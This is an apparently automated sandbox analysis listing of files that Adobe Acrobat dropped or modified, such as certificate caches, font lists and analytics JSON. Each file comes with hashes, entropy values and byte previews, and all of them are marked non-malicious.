SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7543291572487476
Encrypted:	false
SSDEEP:	3:kkFklbhqkltfllXlE/HT8kkNNX8RolJuRdxLlGB9lQRYwpDdt:kKGeT83NMa8RdWBwRd
MD5:	D833F1C2D13ABE9717B55C3524A52357
SHA1:	BBA48BA0AC26B48C2AD2C355C7FCBFD6CF2166AC
SHA-256:	0D59C6EDC68825AE523D99D1EA3F3D54BD115D3927B912BB4E3CC06D49BB118D
SHA-512:	4C08C852CDCE08949C23A3BDD418F5C90858FB3BC2FB5A03385C6ACBB954AE6A206EAFB0E138C878E1A4DECAEABD2C91CEC7AC23A11834C0CA0D60B5B5C1DFC4
Malicious:	false
Preview:	p...... ...........ec..(....................................................... ..........W.....B..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.127288504365508
Encrypted:	false
SSDEEP:	6:kKUL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:8iDnLNkPlE99SNxAhUe/3
MD5:	6CF79CE7207D7D73C146AF4D76DDC9E9
SHA1:	4A776642DD81EC8194C61E42DBCBD544D555E9ED
SHA-256:	DB11847252AA2F6080F9B46CA1347B152413C34728CFA75D8259BF6C1CE0B344
SHA-512:	3017631F4E50AD39D4FB0A1606CBFC486E5FB0B9C292B80CCB92D3612C4BF2DDC1D756EF0F069D2765B65A6E4A31A7C3AE7EFB11C6DF2EC88D517A9114185DF6
Malicious:	false
Preview:	p...... ...........ec..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7016

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7016

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365058271312156
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJM3g98kUwPeUkwRe9:YvXKX83IMeEEnEZc0v7GMbLUkee9
MD5:	A203F9A9FA7CCB73FE8463DAB8AF59D2
SHA1:	7978DEC254386FA6464A718594ADAA58654963B4
SHA-256:	A14419E004C7D62798BD6F00C133137320DB5E2786139E004B6F7C4C652E1CFD
SHA-512:	236E77475B0DBA58505FE0E2E661A8F67E5B4938512A3A5F8657210EAB99703F30A43B77FC58343E90BF4FA97B9D41ECB8D4A7CCC34376D272E149AC044A4B41
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.315345387585542
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJfBoTfXpnrPeUkwRe9:YvXKX83IMeEEnEZc0v7GWTfXcUkee9
MD5:	1389853B12DE87A84914819862A81C43
SHA1:	33858D5F2928C07670486B258D63958F6750E141
SHA-256:	07B9EEFFFA2221CA4B6ECF8ADF10C7C57C7363FA16F9D76E95A5E1957F0F97D2
SHA-512:	C7C2DFD4FF83FEB9D2ED110FCFA48C9648242DC442639F29C83355D581882C51E0B20D9A5496A56B7506B124A1E0C61F826F3B9CAE0489EAE0011016AEF068BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29360488294335
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJfBD2G6UpnrPeUkwRe9:YvXKX83IMeEEnEZc0v7GR22cUkee9
MD5:	C478842031129013A1DEEE03085C5B2D
SHA1:	AADB4B2D1722C1996EA979BBE1A3F5562E8F7952
SHA-256:	267F5E3F70359999F9C04CE9C911470D3D10EC190D975576AF7ADA9C9DDBCCEA
SHA-512:	52FEA7AB10894A0D8DB2419548A3783E7C3AF02A330332569E04B08BFA725922B0F529AE0FCE747DA9DED4C983DA84B4A636E674707773B9F1CD36E310F9B6DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352128247156261
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJfPmwrPeUkwRe9:YvXKX83IMeEEnEZc0v7GH56Ukee9
MD5:	E1284039F8D63497CED3B049172AF1BE
SHA1:	B342A809062CF93737B3F20FD5D1ECA6822ECD93
SHA-256:	97B4EBFD796DF5E304D9CDC7AAF7B1155EF559982BD7FBA089893D5AD1005AF6
SHA-512:	BD4B12807CC61DBD25693704BBB2088D3D7134B7959183656CAA0A8B9817DD9739B8BFCB4A50B225F2BDD8C007590FEC73C6F8C7F352C0E398BCCDF2DF6341C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690790413226128
Encrypted:	false
SSDEEP:	24:Yv6X83/JzvQpLgE9cQx8LennAvzBvkn0RCmK8czOCCSMk:YvvVohgy6SAFv5Ah8cv/R
MD5:	53B8EE70A52E5A6D9ABB419C9B274F97
SHA1:	2CFFF5AF5E3E7278D8B5CBB9FFD058FFBD4A5FBF
SHA-256:	7A7B73CA537257AC4367509E2DFF7B5175CDDFDF57A9B15E3EDEF2441D87D3D4
SHA-512:	257C55A58B58E0C3198BC5FD20B04CA36BE8A0DE29B94DA86BD614838A5866ABD5797B96145DA61BF92DE6D4D909D307FB2BC0BD1E87ADECE17856610B630B3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299498723441883
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJf8dPeUkwRe9:YvXKX83IMeEEnEZc0v7GU8Ukee9
MD5:	417F2CC575BA61ABB4F56E6B10F5DD72
SHA1:	96D8D794DF6702168F42156C581D5639762DC7BA
SHA-256:	8D11192660908D654BA918DEE6177C5AAC2AF0ACA49312BC4E027BD1EC66678A
SHA-512:	2E525493DE7625DBA1B455E3AA24455CDD273890552F618CC3278F967CB70421EEB387B0743E627F2BEF18CCB8681F504129B286D7F0816FB8D15AFF3A097571
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.303386311181768
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJfQ1rPeUkwRe9:YvXKX83IMeEEnEZc0v7GY16Ukee9
MD5:	B576CF5BC4DC1B97222589B540B0B31C
SHA1:	730E6AA4B6E73FA6B28B62CA2DABEF68D91B99BC
SHA-256:	209F156B09D7263B8E2C4992C981648BF024F19F7FA371FD2C475BAE4C7CA31E
SHA-512:	62BD3F651A3A3BAE0BBDBB8246A7854D0A997A9791C30D83E32FC13C7E36CAD4FC74401178B459ADB41E9BA73510745B7686E83EB5576B63C9DA0A5F91B20D31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308801807499293
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJfFldPeUkwRe9:YvXKX83IMeEEnEZc0v7Gz8Ukee9
MD5:	C577BCC2D5E3E2080C900A409880A8EF
SHA1:	2AB8AC0E5F33F8AA60EE6D18C484322C082C8A95
SHA-256:	E3A2F2DD83C87C53F432A52BE1E6F4892CF632CFC88CBB98B22450E243EF3E33
SHA-512:	5830F6D66A1954FD81138F5DFEE545D22CE90ED5F649218ACAA90F333556AB62526285105DAF12BDBF73E2B82705A51995C9B41448556254ADEBDEC798A62CD2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3256037449426055
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJfzdPeUkwRe9:YvXKX83IMeEEnEZc0v7Gb8Ukee9
MD5:	475AE32BED6C7215701F4133134CF30F
SHA1:	8A68F84CD503358EAA472E312D1CD4A5382AFCD6
SHA-256:	2ADD1A3C4C72654DBD857AE7B401F3BF7F30340364F39C4228FD10ECA461A079
SHA-512:	BEDA7FAC0AC7CA7CEC77569A60EFCE94DF8EF7F185FE0D541F459C3D627A7DD957663FEA64190F7C45D87E0230FAC1928BA7DB833E6DF16B44098FF92C3C814B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306083222389974
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJfYdPeUkwRe9:YvXKX83IMeEEnEZc0v7Gg8Ukee9
MD5:	56DA78D4E759608EEC27803804F1A776
SHA1:	02086ADF3C0AFE78684B2A55715902C539CC25F2
